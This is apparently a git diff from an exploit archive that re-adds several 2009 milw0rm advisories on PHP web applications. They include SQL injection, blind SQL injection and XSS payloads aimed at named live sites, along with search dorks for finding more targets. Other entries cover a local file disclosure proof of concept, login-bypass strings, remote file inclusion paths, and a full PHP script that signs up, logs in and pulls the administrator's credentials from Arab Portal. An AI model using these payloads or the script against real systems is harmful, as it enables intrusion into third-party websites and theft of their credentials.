-                                _-=/:SOLUTION:\=-_
-````````````````````````````````````````````````````````````````````````````````
-// in "./myhtml.php"
-
-function getthememyhtml($page)
-      {
-      $page = basename($page); //<---- Added the good old Basename func ;)
-      if (file_exists("./myhtmlpages/".$page.".html")) {
-      $templat="./myhtmlpages/".$page.".html";
-      $tempindex=@fopen($templat,"r");
-      $html=@fread($tempindex,@filesize($templat));
-      @fclose($tempindex);
-      } else {
-       $html ="<p align=\"center\"> Ă¡Ă£ Ă­Ă“Ă�Ă˜Ă� Ă…Ă­ĂŒĂ‡Ă� Ă£Ă¡Ă� Ă‡Ă¡Ă�Ă‡Ă¡Ăˆ.</p>";
-      }
-      return $html;
-}
-
-
----------------------------------------===--------------------------------------
- ______________________________________________________________________________
-/                                                                              \
-|      Sec-Code.com ;)  Shru7at Iktshaf al-thaghrat Qareeban!!il7ag sajjil!!   |
-\______________________________________________________________________________/
-                                \ No More Private /
-                                 `````````````````
-                           Salamz to All Muslim Hackers.
-
-# milw0rm.com [2009-07-14]
+                                            ||          ||   | ||
+                                     o_,_7 _||  . _o_7 _|| q_|_||  o_\\\_,
+                                    (  :  /    (_)    /           (      .
+
+                                             ___________________
+                                           _/QQQQQQQQQQQQQQQQQQQ\__
+                                        __/QQQ/````````````````\QQQ\___
+                                      _/QQQQQ/                  \QQQQQQ\
+                                     /QQQQ/``                    ```QQQQ\
+                                    /QQQQ/                          \QQQQ\
+                                   |QQQQ/    By  Qabandi             \QQQQ|
+                                   |QQQQ|                            |QQQQ|
+                                   |QQQQ|    From Kuwait, PEACE...   |QQQQ|
+                                   |QQQQ|                            |QQQQ|
+                                   |QQQQ\       iqa[a]hotmail.fr     /QQQQ|
+                                    \QQQQ\                      __  /QQQQ/
+                                     \QQQQ\                    /QQ\_QQQQ/
+                                      \QQQQ\                   \QQQQQQQ/
+                                       \QQQQQ\                 /QQQQQ/_
+                                        ``\QQQQQ\_____________/QQQ/\QQQQ\_
+                                           ``\QQQQQQQQQQQQQQQQQQQ/  `\QQQQ\
+                                              ```````````````````     `````
+
+=Vuln:		Mobilelib Gold v3 Local File Disclosure Vulnerability
+=INFO:		http://www.ac4p.com/
+=BUY:  		http://www.ac4p.com/
+=Download:      ~~~
+=DORK:		intext:"English for dummies"
+
+                                  ____________
+                              _-=/:Conditions:\=-_
+````````````````````````````````````````````````````````````````````````````````
+
+Magic_quotes MUST BE ON :)
+
+---------------------------------------===--------------------------------------
+
+                                _________________
+                            _-=/:Vulnerable_Code:\=-_
+````````````````````````````````````````````````````````````````````````````````
+// in "./myhtml.php"
+
+function getthememyhtml($page)
+      {
+      if (file_exists("./myhtmlpages/".$page.".html")) {
+      $templat="./myhtmlpages/".$page.".html";
+      $tempindex=@fopen($templat,"r");
+      $html=@fread($tempindex,@filesize($templat));
+      @fclose($tempindex);
+      } else {
+       $html ="<p align=\"center\"> Ă¡Ă£ Ă­Ă“Ă�Ă˜Ă� Ă…Ă­ĂŒĂ‡Ă� Ă£Ă¡Ă� Ă‡Ă¡Ă�Ă‡Ă¡Ăˆ.</p>";
+      }
+      return $html;
+}
+
+---------------------------------------===--------------------------------------
+
+                                     _______
+                                 _-=/:P.o.C:\=-_
+````````````````````````````````````````````````````````````````````````````````
+ We will bypass the security, where it takes all _GET variables and scans if
+ they contain harmful tags such as the null char (%00) ..etc
+ 
+ We will bypass it by using an old GLOBALS[] trick ;)
+
+
+http://localhost/goldv3/myhtml.php?GLOBALS[page]=../config.inc.php%00
+
+
+---------------------------------------===--------------------------------------
+
+                                    __________
+                                _-=/:SOLUTION:\=-_
+````````````````````````````````````````````````````````````````````````````````
+// in "./myhtml.php"
+
+function getthememyhtml($page)
+      {
+      $page = basename($page); //<---- Added the good old Basename func ;)
+      if (file_exists("./myhtmlpages/".$page.".html")) {
+      $templat="./myhtmlpages/".$page.".html";
+      $tempindex=@fopen($templat,"r");
+      $html=@fread($tempindex,@filesize($templat));
+      @fclose($tempindex);
+      } else {
+       $html ="<p align=\"center\"> Ă¡Ă£ Ă­Ă“Ă�Ă˜Ă� Ă…Ă­ĂŒĂ‡Ă� Ă£Ă¡Ă� Ă‡Ă¡Ă�Ă‡Ă¡Ăˆ.</p>";
+      }
+      return $html;
+}
+
+
+---------------------------------------===--------------------------------------
+ ______________________________________________________________________________
+/                                                                              \
+|      Sec-Code.com ;)  Shru7at Iktshaf al-thaghrat Qareeban!!il7ag sajjil!!   |
+\______________________________________________________________________________/
+                                \ No More Private /
+                                 `````````````````
+                           Salamz to All Muslim Hackers.
+
+# milw0rm.com [2009-07-14]
diff --git a/platforms/php/webapps/9194.txt b/platforms/php/webapps/9194.txt
index bd0e929e0..f797d1d6d 100755
--- a/platforms/php/webapps/9194.txt
+++ b/platforms/php/webapps/9194.txt
@@ -1,59 +1,59 @@
-###########################################################################
-#-----------------------------I AM MUSLIM !!------------------------------#
-###########################################################################
-
-==============================================================================
-                      _      _       _          _      _   _ 
-                     / \    | |     | |        / \    | | | |
-                    / _ \   | |     | |       / _ \   | |_| |
-                   / ___ \  | |___  | |___   / ___ \  |  _  |
-   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
-                                                             
-
-==============================================================================
-        [»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
-==============================================================================
-        [»] RadBIDS GOLD v4 Multiple Remote Vulnerabilities
-==============================================================================
-
-	[»] Script:             [ RadBIDS GOLD v4 ]
-	[»] Language:           [ PHP ]
-        [»] Download:           [ http://www.radscripts.com/auctionsoftware/ebay_style/index.html  ]
-	[»] Founder:            [ Moudi <m0udi@9.cn> ]
-        [»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
-        [»] Team:               [ EvilWay ]
-        [»] Dork:               [ Powered by: RadBids Gold v4 ]
-        [»] Price:              [ $199 ]
-        [»] Site :              [ https://security-shell.ws/forum.php ]
-
-###########################################################################
-
-===[ Exploit + LIVE : SQL INJECTION vulnerability ]===	
-	
-[»] http://www.site.com/patch/index.php?a=view_forum&fid=[SQL]	
-
-[»] http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
-[»] http://havetosellitnow.com/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
-    RESULT : 5.0.67-community 
-
-===[ Exploit + LIVE : BLIND SQL vulnerability ]===
-
-[»] http://www.site.com/patch/index.php?a=view_forum&fid=[BLIND]
-
-[»] http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=5&admin=0 TRUE
-    http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=4&admin=0 FALSE
-    SO MYSQL: V5
-
-===[ Exploit XSS + LIVE : vulnerability ]===
-
-[»] http://www.site.com/patch/storefront.php?user=104&mode=[XSS]
-
-[»] http://www.radbids.com/auction_software/test/storefront.php?user=104&mode=1>"><ScRiPt %0A%0D>alert(528305396116)%3B</ScRiPt>
-[»] http://www.getmebids.com/storefront.php?user=104&mode=1>"><ScRiPt %0A%0D>alert(528305396116)%3B</ScRiPt>
-
-
-Author: Moudi
-
-###########################################################################
-
-# milw0rm.com [2009-07-17]
+###########################################################################
+#-----------------------------I AM MUSLIM !!------------------------------#
+###########################################################################
+
+==============================================================================
+                      _      _       _          _      _   _ 
+                     / \    | |     | |        / \    | | | |
+                    / _ \   | |     | |       / _ \   | |_| |
+                   / ___ \  | |___  | |___   / ___ \  |  _  |
+   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
+                                                             
+
+==============================================================================
+        [»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
+==============================================================================
+        [»] RadBIDS GOLD v4 Multiple Remote Vulnerabilities
+==============================================================================
+
+	[»] Script:             [ RadBIDS GOLD v4 ]
+	[»] Language:           [ PHP ]
+        [»] Download:           [ http://www.radscripts.com/auctionsoftware/ebay_style/index.html  ]
+	[»] Founder:            [ Moudi <m0udi@9.cn> ]
+        [»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
+        [»] Team:               [ EvilWay ]
+        [»] Dork:               [ Powered by: RadBids Gold v4 ]
+        [»] Price:              [ $199 ]
+        [»] Site :              [ https://security-shell.ws/forum.php ]
+
+###########################################################################
+
+===[ Exploit + LIVE : SQL INJECTION vulnerability ]===	
+	
+[»] http://www.site.com/patch/index.php?a=view_forum&fid=[SQL]	
+
+[»] http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
+[»] http://havetosellitnow.com/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
+    RESULT : 5.0.67-community 
+
+===[ Exploit + LIVE : BLIND SQL vulnerability ]===
+
+[»] http://www.site.com/patch/index.php?a=view_forum&fid=[BLIND]
+
+[»] http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=5&admin=0 TRUE
+    http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=4&admin=0 FALSE
+    SO MYSQL: V5
+
+===[ Exploit XSS + LIVE : vulnerability ]===
+
+[»] http://www.site.com/patch/storefront.php?user=104&mode=[XSS]
+
+[»] http://www.radbids.com/auction_software/test/storefront.php?user=104&mode=1>"><ScRiPt %0A%0D>alert(528305396116)%3B</ScRiPt>
+[»] http://www.getmebids.com/storefront.php?user=104&mode=1>"><ScRiPt %0A%0D>alert(528305396116)%3B</ScRiPt>
+
+
+Author: Moudi
+
+###########################################################################
+
+# milw0rm.com [2009-07-17]
diff --git a/platforms/php/webapps/9196.txt b/platforms/php/webapps/9196.txt
index b2f8fcf20..9afa25e74 100755
--- a/platforms/php/webapps/9196.txt
+++ b/platforms/php/webapps/9196.txt
@@ -1,61 +1,61 @@
-###########################################################################
-#-----------------------------I AM MUSLIM !!------------------------------#
-###########################################################################
-
-==============================================================================
-                      _      _       _          _      _   _ 
-                     / \    | |     | |        / \    | | | |
-                    / _ \   | |     | |       / _ \   | |_| |
-                   / ___ \  | |___  | |___   / ___ \  |  _  |
-   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
-                                                             
-
-==============================================================================
-        [»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
-==============================================================================
-        [»] RadNICS Gold v5 Multiple Remote Vulnerabilities
-==============================================================================
-
-	[»] Script:             [ RadNICS Gold v5 ]
-	[»] Language:           [ PHP ]
-        [»] Download:           [ http://www.radscripts.com/php-scripts/domain_name_software_auctions/gold_features_admin.php  ]
-	[»] Founder:            [ Moudi <m0udi@9.cn> ]
-        [»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
-        [»] Team:               [ EvilWay ]
-        [»] Dork:               [ Content Copyright © 2007 RadNics Gold ]
-        [»] Dork2:              [ Powered by: RadNICS Gold v5 ]
-        [»] Price:              [ $199 ]
-        [»] Site :              [ https://security-shell.ws/forum.php ]
-
-###########################################################################
-
-===[ Exploit + LIVE : SQL INJECTION vulnerability ]===	
-	
-[»] http://www.site.com/patch/index.php?a=view_forum&fid=[SQL]	
-
-[»] http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
-[»] http://dottvauction.com/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
-    RESULT : 5.0.67-community 
-
-===[ Exploit + LIVE : BLIND SQL vulnerability ]===
-
-[»] http://www.site.com/patch/index.php?a=view_forum&fid=[BLIND]
-
-[»] http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=5&admin=0 TRUE
-    http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=4&admin=0 FALSE
-    SO MYSQL: V5
-
-===[ Exploit XSS + LIVE : vulnerability ]===
-
-[»] http://www.site.com/patch/index.php?a=ulist&mode=9&order=[XSS]&cat=1
-[»] http://www.site.com/patch/index.php?a=view_forum&fid=[XSS]&admin=0
-
-[»] http://www.radnics.com/v5/052107/index.php?a=ulist&mode=9&order=1>'><ScRiPt %0A%0D>alert(640795682719)%3B</ScRiPt>&cat=1
-[»] http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=1>'><ScRiPt %0A%0D>alert(664745745195)%3B</ScRiPt>&admin=0
-
-
-Author: Moudi
-
-###########################################################################
-
-# milw0rm.com [2009-07-17]
+###########################################################################
+#-----------------------------I AM MUSLIM !!------------------------------#
+###########################################################################
+
+==============================================================================
+                      _      _       _          _      _   _ 
+                     / \    | |     | |        / \    | | | |
+                    / _ \   | |     | |       / _ \   | |_| |
+                   / ___ \  | |___  | |___   / ___ \  |  _  |
+   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
+                                                             
+
+==============================================================================
+        [»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
+==============================================================================
+        [»] RadNICS Gold v5 Multiple Remote Vulnerabilities
+==============================================================================
+
+	[»] Script:             [ RadNICS Gold v5 ]
+	[»] Language:           [ PHP ]
+        [»] Download:           [ http://www.radscripts.com/php-scripts/domain_name_software_auctions/gold_features_admin.php  ]
+	[»] Founder:            [ Moudi <m0udi@9.cn> ]
+        [»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
+        [»] Team:               [ EvilWay ]
+        [»] Dork:               [ Content Copyright © 2007 RadNics Gold ]
+        [»] Dork2:              [ Powered by: RadNICS Gold v5 ]
+        [»] Price:              [ $199 ]
+        [»] Site :              [ https://security-shell.ws/forum.php ]
+
+###########################################################################
+
+===[ Exploit + LIVE : SQL INJECTION vulnerability ]===	
+	
+[»] http://www.site.com/patch/index.php?a=view_forum&fid=[SQL]	
+
+[»] http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
+[»] http://dottvauction.com/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0
+    RESULT : 5.0.67-community 
+
+===[ Exploit + LIVE : BLIND SQL vulnerability ]===
+
+[»] http://www.site.com/patch/index.php?a=view_forum&fid=[BLIND]
+
+[»] http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=5&admin=0 TRUE
+    http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=4&admin=0 FALSE
+    SO MYSQL: V5
+
+===[ Exploit XSS + LIVE : vulnerability ]===
+
+[»] http://www.site.com/patch/index.php?a=ulist&mode=9&order=[XSS]&cat=1
+[»] http://www.site.com/patch/index.php?a=view_forum&fid=[XSS]&admin=0
+
+[»] http://www.radnics.com/v5/052107/index.php?a=ulist&mode=9&order=1>'><ScRiPt %0A%0D>alert(640795682719)%3B</ScRiPt>&cat=1
+[»] http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=1>'><ScRiPt %0A%0D>alert(664745745195)%3B</ScRiPt>&admin=0
+
+
+Author: Moudi
+
+###########################################################################
+
+# milw0rm.com [2009-07-17]
diff --git a/platforms/php/webapps/9248.txt b/platforms/php/webapps/9248.txt
index 13e4334a9..7cc397b69 100755
--- a/platforms/php/webapps/9248.txt
+++ b/platforms/php/webapps/9248.txt
@@ -1,67 +1,67 @@
----------------------------------SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability---------------------------------------
-                       #                                                                            
-   #    ####     #    ###      ##   ###  ####  ####  ###   #####   ####  ####   ###     #    ### ####  ######
-   ##    #  #    ##    # #    # #  #  #   # #   #  #  #    #  #   #    #  # #  #  #     ##    #   # # #  #  #
-   # #   #  #    # #   # #    # #  #      #     #  #   #   #  #  #        #    #        # #   #   #      #   
-  #  #   ###    #  #   ###   #  #   ##    ###   ###    #  #   #  #        ###   ##      #  #  #   ###    #   
-  ####   #  #   ####   #  # ######    #   #     #  #    # #   #  #        #       #     #   # #   #      #   
- #   #   #   # #   #   #  #     # #   #   #     #   #   ##    #   #    #  #   #   #     #    ##   #      #   
-##    #####   ##    ######     ### ###   ####  ###   #   #   ###   ####  ####  ###   # ###    #  ####   ###  
-
-
-#----------------------------------------------------------------------------------------------------------------
-Script : SaphpLesson
-version : 4.0
-Language: PHP
-Site: http://www.saphplesson.org
-Download: http://www.saphplesson.org/saphplesson.zip
-Dork: intext:Powered by SaphpLesson 4.0
-Found by: SwEET-DeViL
-
-need magic_quotes_gpc = Off
-
-#----------------------------------------------------------------------------------------------------------------
-
-)=> admin/login.php
-.................................................................................................................
-if ($_SERVER["REQUEST_METHOD"]=="POST"){
-          $username = CleanVar($_POST["cp_username"]); <======================================{
-          $password = md5(CleanVar($_POST["cp_password"]));
-          $IsLogin    = $db->get_var("select count(*) from modretor Where  ModName='".$username."' and ModPassword='".$password."'");
-
-.................................................................................................................
-
-function  of insecure !!
-
-)-)=> includes/functions.php
----------------------------------------
-.[106] function CleanVar($var)
-.[107] {
-.[108]     (get_magic_quotes_gpc() === 0) ? $var : addslashes($var);
-.[109]
-.[110]     return htmlspecialchars(trim($var));
-.[111] }
----------------------------------------
-
-#Exploit:
-
-username : 'or 1=1/*
-OR 
-username : 'or 1=1 or '
-OR 
-username : admin ' or ' 1=1--
-....
-
-password: SwEET-DeViL
-
----------------------------------------
-
-
-/-------------www.arab4services.net-----------------\
-|+------------------------------------------------+ |
-||          SwEET-DeViL & viP HaCkEr              | |
-||            gamr-14(at)hotmail.com              | |
-|+------------------------------------------------+ |
-\---------------------------------------------------/
-
-# milw0rm.com [2009-07-24]
+---------------------------------SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability---------------------------------------
+                       #                                                                            
+   #    ####     #    ###      ##   ###  ####  ####  ###   #####   ####  ####   ###     #    ### ####  ######
+   ##    #  #    ##    # #    # #  #  #   # #   #  #  #    #  #   #    #  # #  #  #     ##    #   # # #  #  #
+   # #   #  #    # #   # #    # #  #      #     #  #   #   #  #  #        #    #        # #   #   #      #   
+  #  #   ###    #  #   ###   #  #   ##    ###   ###    #  #   #  #        ###   ##      #  #  #   ###    #   
+  ####   #  #   ####   #  # ######    #   #     #  #    # #   #  #        #       #     #   # #   #      #   
+ #   #   #   # #   #   #  #     # #   #   #     #   #   ##    #   #    #  #   #   #     #    ##   #      #   
+##    #####   ##    ######     ### ###   ####  ###   #   #   ###   ####  ####  ###   # ###    #  ####   ###  
+
+
+#----------------------------------------------------------------------------------------------------------------
+Script : SaphpLesson
+version : 4.0
+Language: PHP
+Site: http://www.saphplesson.org
+Download: http://www.saphplesson.org/saphplesson.zip
+Dork: intext:Powered by SaphpLesson 4.0
+Found by: SwEET-DeViL
+
+need magic_quotes_gpc = Off
+
+#----------------------------------------------------------------------------------------------------------------
+
+)=> admin/login.php
+.................................................................................................................
+if ($_SERVER["REQUEST_METHOD"]=="POST"){
+          $username = CleanVar($_POST["cp_username"]); <======================================{
+          $password = md5(CleanVar($_POST["cp_password"]));
+          $IsLogin    = $db->get_var("select count(*) from modretor Where  ModName='".$username."' and ModPassword='".$password."'");
+
+.................................................................................................................
+
+function  of insecure !!
+
+)-)=> includes/functions.php
+---------------------------------------
+.[106] function CleanVar($var)
+.[107] {
+.[108]     (get_magic_quotes_gpc() === 0) ? $var : addslashes($var);
+.[109]
+.[110]     return htmlspecialchars(trim($var));
+.[111] }
+---------------------------------------
+
+#Exploit:
+
+username : 'or 1=1/*
+OR 
+username : 'or 1=1 or '
+OR 
+username : admin ' or ' 1=1--
+....
+
+password: SwEET-DeViL
+
+---------------------------------------
+
+
+/-------------www.arab4services.net-----------------\
+|+------------------------------------------------+ |
+||          SwEET-DeViL & viP HaCkEr              | |
+||            gamr-14(at)hotmail.com              | |
+|+------------------------------------------------+ |
+\---------------------------------------------------/
+
+# milw0rm.com [2009-07-24]
diff --git a/platforms/php/webapps/9270.txt b/platforms/php/webapps/9270.txt
index 934763ebb..ae6fb9b7f 100755
--- a/platforms/php/webapps/9270.txt
+++ b/platforms/php/webapps/9270.txt
@@ -1,26 +1,26 @@
-----------------------------------------------------------------------------------------------------
-  Name : Super Mod System 3.1 5
-  Site : http://www.classified-software.co.uk/
-  Demo : http://www.classified-software.co.uk/super-mod-system-v3/
-
-----------------------------------------------------------------------------------------------------
- 
-  Found By : MizoZ [EvilWay Team]
-  Made in  : Morocco
-  Contact  : mizoz[at]9[dot]cn
-  Greetz   : Moudi , Zuka , optix , All friends
-  Website : BlackArea.org (Coming Soon)
-----------------------------------------------------------------------------------------------------
-
-SQL Injection popup.php (GET : sb_id) :
-[HOST]/[PATH]/index.php?s=[SQL CODE]
-
-SQL CODE : -6+union+select+1,2,3,4,5--
-
-Live Exemples :
-http://www.classified-software.co.uk/super-mod-system-v3/index.php?s=3+and+1=0+union+all+select+1,2,3,4,5--
-http://www.thepharmaclassifieds.com/index.php?s=-6+union+select+1,2,3,4,5--
-
-----------------------------------------------------------------------------------------------------
-
-# milw0rm.com [2009-07-27]
+----------------------------------------------------------------------------------------------------
+  Name : Super Mod System 3.1 5
+  Site : http://www.classified-software.co.uk/
+  Demo : http://www.classified-software.co.uk/super-mod-system-v3/
+
+----------------------------------------------------------------------------------------------------
+ 
+  Found By : MizoZ [EvilWay Team]
+  Made in  : Morocco
+  Contact  : mizoz[at]9[dot]cn
+  Greetz   : Moudi , Zuka , optix , All friends
+  Website : BlackArea.org (Coming Soon)
+----------------------------------------------------------------------------------------------------
+
+SQL Injection popup.php (GET : sb_id) :
+[HOST]/[PATH]/index.php?s=[SQL CODE]
+
+SQL CODE : -6+union+select+1,2,3,4,5--
+
+Live Exemples :
+http://www.classified-software.co.uk/super-mod-system-v3/index.php?s=3+and+1=0+union+all+select+1,2,3,4,5--
+http://www.thepharmaclassifieds.com/index.php?s=-6+union+select+1,2,3,4,5--
+
+----------------------------------------------------------------------------------------------------
+
+# milw0rm.com [2009-07-27]
diff --git a/platforms/php/webapps/9284.txt b/platforms/php/webapps/9284.txt
index 0eec5b3a7..9b5ef6496 100755
--- a/platforms/php/webapps/9284.txt
+++ b/platforms/php/webapps/9284.txt
@@ -1,9 +1,9 @@
-SerWeb <= 2.1.0-dev1 2009-07-02 Multiple Remote File Inclusion Vulnerabilities
-D.Script : http://ftp.iptel.org/pub/serweb/daily-snapshots/
-POC:
-/load_lang.php?_SERWEB[configdir]=Shell
-/main_prepend.php?_SERWEB[functionsdir]=Shell
-/load_phplib.php?_PHPLIB[libdir]=Shell
-Us = php_flag magic_quotes_gpc Off / php_flag magic_quotes_runtime Off
-
-# milw0rm.com [2009-07-27]
+SerWeb <= 2.1.0-dev1 2009-07-02 Multiple Remote File Inclusion Vulnerabilities
+D.Script : http://ftp.iptel.org/pub/serweb/daily-snapshots/
+POC:
+/load_lang.php?_SERWEB[configdir]=Shell
+/main_prepend.php?_SERWEB[functionsdir]=Shell
+/load_phplib.php?_PHPLIB[libdir]=Shell
+Us = php_flag magic_quotes_gpc Off / php_flag magic_quotes_runtime Off
+
+# milw0rm.com [2009-07-27]
diff --git a/platforms/php/webapps/9320.php b/platforms/php/webapps/9320.php
index 6d2fabaa8..e12b2b823 100755
--- a/platforms/php/webapps/9320.php
+++ b/platforms/php/webapps/9320.php
@@ -1,174 +1,174 @@
-<?
- 
-/*
- 
-            [  Arab Portal v2.x (forum.php qc) SQL Injection Exploit  ]
-            
-        [-] Author        : rEcruit
-        [-] Mail            : recru1t@ymail.com
-        [-] Download   : http://arab-portal.net/download.php
-        
-        [-] Vuln in  ./forum.php  Line: 1503
-        
-            [code]
- 
-                if((isset($apt->get[qc])) &&(!isset($apt->get[qp])))
-                {
-                   $qc = $apt->get[qc];  
-                   $result = $apt->query("select name,comment from rafia_comment where id='$qc'");
-                   $row = $apt->dbarray($result);
-                   $apt->row['quote'] = "\n\n\n[QUOTE]..... :".$row['name']."\n".$row['comment']."[/QUOTE]";
-                }
- 
-            [/code]
- 
- 
-        [-] Debug :
-        
-            [code]
-                $qc = intval($apt->get[qc]);  
-            [/code]
- 
-        [-] Note : Path to Control Panel   "/admin/" .
-        
-        [-] Condition : magic_quotes_gpc = Off
- 
-*/
- 
-    error_reporting(0);
-    ini_set("max_execution_time",0);
-    ini_set("default_socket_timeout",5);
- 
-    function Usage()
-    {
-            print "\n\n";
-            print "/------------------------------------------------------------\\\n";
-            print "|    Arab Portal v2.x (forum.php qc) SQL Injection Exploit   |\n";
-            print "\------------------------------------------------------------/\n";
-            print "| [-] Author : rEcruit                                       |\n";
-            print "| [-] Mail   : recru1t@ymail.com                             |\n";
-            print "| [-] Greetz : Evil-Cod3r , BlaCK MooN , Fantastic Egypt     |\n";
-            print "|              ALL Sec-Sni.coM Members                       |\n";
-            print "\------------------------------------------------------------/\n";
-            print "| [-] Dork     : \"Powered by: Arab Portal v2\"                |\n";
-            print "| [+] Usage    : php Exploit.php HOST PATH Options           |\n";
-            print "| [-] HOST     : Target server (ip/hostname)                 |\n";
-            print "| [-] PATH     : Path to Arab Portal                         |\n";
-            print "| [-] Options  :                                             |\n";
-            print "|     =>Proxy  :(ex. 0.0.0.0:8080)                           |\n";
-            print "\------------------------------------------------------------/\n";
-            print "\n\n";
- 
-        exit;
-    }
- 
-    function Send($Packet,$Payload=false)
-    {
-        Global $host,$proxy;
-        
-        if(empty($proxy))
-        {
-            $Connect    = @fsockopen($host,"80") or die("[-] Bad Host .");
-        }else{
-            $proxy        = explode(":",$proxy);
-            $Connect    = @fsockopen($proxy[0],$proxy[1]) or die("[-] Bad Proxy .");
-        }
- 
-                $Packet    .= "Host : {$host} \r\n";
-                $Packet    .= "X-Forwarded-For: 127.0.0.1\r\n";
-                $Packet    .= "Content-Type: application/x-www-form-urlencoded\r\n";
-                $Packet    .= "Content-Length: ".(strlen($Payload))."\r\n";
-                $Packet    .= "Connection: close\r\n\r\n";
-                $Packet    .= $Payload;
-            
-                fputs($Connect,$Packet);
- 
-                while(!feof($Connect))  
-                $Response    .= @fgets($Connect,2048);
- 
-                fclose($Connect);
-        
-        return $Response;
-    }
-    
-    function SignUp()
-    {
-    
-        GLOBAL $username,$password,$email,$host,$path;
-        
-            $Payload = "username={$username}&password={$password}&password2={$password}&email={$email}&email2={$email}&homepage=http://&viewemail=0&showemail=1&html_msg=0&usertheme=portal&spam=regnotspam&remain=279&post={$email}&left=279&I1.x=72&I1.y=6";
-            $Packet    .= "POST {$path}/members.php?action=insert HTTP/1.1 \r\n";
-            $Packet    .= "Referer: http://{$host}/{$path}/members.php?action=signup \r\n";
-    
-        return Send($Packet,$Payload);
-    }
-    
-    function Login_Packet()
-    {
-    
-        GLOBAL $username,$password,$host,$path;
-            
-            $Payload = "username={$username}&userpass={$password}";
-            $Packet    .= "POST {$path}/members.php?action=login HTTP/1.1 \r\n";
-            $Packet    .= "Referer: http://{$host}/{$path}/forum.php\r\n";
- 
-        return Send($Packet,$Payload);
-    }
- 
-    function SI_Packet()
-    {
-    
-        GLOBAL $host,$path,$cookie;
-            
- 
-            $Packet    .= "GET {$path}/forum.php?action=addcomment&id=1&qc=-999'+UNION+ALL+SELECT+1,concat(0x313a3a,username,0x3a3a,password,0x3a3a)+FROM+rafia_users+where+userid='1 HTTP/1.1 \r\n";
-            $Packet    .= "Host : {$host} \r\n";
-            $Packet    .= "{$cookie} \r\n";
-            $Packet    .= "Referer: http://{$host}/{$path}/forum.php\r\n";
-            
-        return Send($Packet);
-    }
-    
-    function getCookie($Packet)
-    {
-            $lines    = explode("\r\n",$Packet);
-            for($i = 0; $i < sizeof($lines); $i++)
-            {
-                $line    = $lines[$i];
-                if(ereg("PHPSESSID=",$line))
-                {
-                    $cookie    = str_replace("Set-Cookie","Cookie",$line);
-                    break;
-                }
-            }
-        return $cookie;
-    }
- 
-    
-    if ($argc < 3) Usage();
- 
-    $host    = $argv[1];
-    $path    = $argv[2];
-    $proxy    = $argv[3];
-    
-        
-        $username    = "user".rand(0,10000);
-        $password    = "pwd".rand(0,10000);
-        $email        = "email".rand(0,10000)."@yahoo.com";
-        
-        
-        Print "\r\n[-] Connecting to {$host} .... \r\n\r\n";
- 
-        SignUp();
- 
-        $cookie    = getCookie(Login_Packet());
- 
-        $data = split("::",SI_Packet());
-        
-        Print "[-] Username : $data[1]\r\n";
-        Print "[-] Password : $data[2]\r\n";
-            
- 
-?>
-
-# milw0rm.com [2009-08-01]
+<?
+ 
+/*
+ 
+            [  Arab Portal v2.x (forum.php qc) SQL Injection Exploit  ]
+            
+        [-] Author        : rEcruit
+        [-] Mail            : recru1t@ymail.com
+        [-] Download   : http://arab-portal.net/download.php
+        
+        [-] Vuln in  ./forum.php  Line: 1503
+        
+            [code]
+ 
+                if((isset($apt->get[qc])) &&(!isset($apt->get[qp])))
+                {
+                   $qc = $apt->get[qc];  
+                   $result = $apt->query("select name,comment from rafia_comment where id='$qc'");
+                   $row = $apt->dbarray($result);
+                   $apt->row['quote'] = "\n\n\n[QUOTE]..... :".$row['name']."\n".$row['comment']."[/QUOTE]";
+                }
+ 
+            [/code]
+ 
+ 
+        [-] Debug :
+        
+            [code]
+                $qc = intval($apt->get[qc]);  
+            [/code]
+ 
+        [-] Note : Path to Control Panel   "/admin/" .
+        
+        [-] Condition : magic_quotes_gpc = Off
+ 
+*/
+ 
+    error_reporting(0);
+    ini_set("max_execution_time",0);
+    ini_set("default_socket_timeout",5);
+ 
+    function Usage()
+    {
+            print "\n\n";
+            print "/------------------------------------------------------------\\\n";
+            print "|    Arab Portal v2.x (forum.php qc) SQL Injection Exploit   |\n";
+            print "\------------------------------------------------------------/\n";
+            print "| [-] Author : rEcruit                                       |\n";
+            print "| [-] Mail   : recru1t@ymail.com                             |\n";
